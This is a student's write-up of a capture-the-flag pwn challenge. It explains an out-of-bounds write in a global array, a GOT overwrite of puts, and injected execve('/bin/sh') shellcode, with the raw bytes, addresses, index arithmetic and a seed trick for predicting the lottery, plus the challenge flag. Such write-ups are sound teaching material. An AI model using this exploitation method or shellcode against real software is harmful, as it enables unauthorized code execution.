Computer Security HW5 Write-Up

Student ID: B07902143
Account: soyccan
Name: 陳正康

casino

FLAG{0verf1ow_1n_ev3rywhere!}

Reconnaissance

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
```

- no PIE

Vulnerability: out-of-bound write

```
46  printf( "Change the number? [1:yes 0:no]: " );
47  if( read_int() == 1 ){
48      printf( "Which number [1 ~ 6]: " );
49      idx = read_int() - 1; // NOTE: no check idx range
50      printf( "Chose the number %d: " , idx );
51      guess[idx] = read_int(); // NOTE: out-of-bound read
52  }
```

1. `guess` is a global variable, lies in .data section
2. specifying negative index will lead to writing everywhere in .data section
   - writing to GOT is possible
3. no PIE protection, .data section address is fixed
   - possible to inject shellcode in .data section

- GOT hijacking is possible

GOT Hijacking

```
54  for( int i = 0 ; i < 6 ; ++i ){
55      if( guess[i] != lottery[i] ) break;
56      if( i == 5 ){
57          puts( "You win! Hacker don't need luck :P" );
58      }
59  }
```

- `puts()` is only called once, which is a good hostage
  - we need to pass the lottery check
- by `readelf , guess` is at 0x6020d0

```
66: 0000000006020d0    24 OBJECT  GLOBAL DEFAULT   24 guess
```

- by `peda , puts@got` is at 0x602020

```
gdb-peda$ x/3i puts
   0x4006e0 <puts@plt>: jmp    QWORD PTR [rip+0x20193a]        # 0x602020 <puts@
   0x4006e6 <puts@plt+6>:       push   0x1
   0x4006eb <puts@plt+11>:      jmp    0x4006c0
```

- the index should be (4 is the size of int):
  (0x602020 - 0x6020d0) / 4
  and
  (0x602020 - 0x6020d0) / 4 + 1 (due to 64-bit integer)

Injecting Shellcode

```
72  printf( "Your name: " );
73  read( 0 , name , 0x100 );
74  printf( "Your age: " );
75  age = read_int();
76
77  if( age < 20 ){
78      puts( "You can not enter the casino!" );
79  }
80  else{
81      casino();
82  }
```

there is buffer overflow on `name`
our shellcode `execve('/bin/sh')` requires 22 bytes:
`4831 f656 48bf 2f62 696e 2f2f 7368 5754 5fb0 3b99 0f05`

```
73: 0000000006020b0    24 OBJECT  GLOBAL DEFAULT   24 lottery
66: 0000000006020d0    24 OBJECT  GLOBAL DEFAULT   24 guess
55: 0000000006020f0    16 OBJECT  GLOBAL DEFAULT   24 name
54: 0000000000602100     4 OBJECT  GLOBAL DEFAULT   24 seed
69: 0000000000602104     4 OBJECT  GLOBAL DEFAULT   24 age
```

we see our shellcode will lie across `name` (16byte), `seed` (4byte) and `age` (2byte)

- after inserting `name , age` is required later as integer
  - convert that part to an integer form
  - '0f 05' -> 1520
- NOTE: seed will be overritten

Passing Lottery Check

```
10  void init(){
11      setvbuf(stdout,0,2,0);
12      setvbuf(stdin,0,2,0);
13      setvbuf(stderr,0,2,0);
14      seed = time(0);
15  }
```

```
66  int main(){
67
68      init();
69      welcome();
70
71      puts( "Show me your passport." );
72      printf( "Your name: " );
73      read( 0 , name , 0x100 );
```

- the seed is generated at the beginning of program
  - later overwritten by overflow on `name`
  - lottery is generated by `rand()` , AFTER `seed` is overwritten
  - seed is controllable
- as we know seed, we can re-run the random process to get what lottery is
  - see `rand.c` in my code

Exploit

generate lottery

`seed` will be overwritten to: `5fb0 3b99` (=2570825823)
run `rand` to generate correct lottery:
[80,19,76,84,85,48]

shellcode

insert our shellcode into `name` and `age`

GOT hijack

- we need 2 rounds to modify GOT
  - modify `puts()` so that it points to `name` (our shellcode)
- at the second round, we send the correct lottery
  - so that the program leads to call `puts()`
- shell obtained !!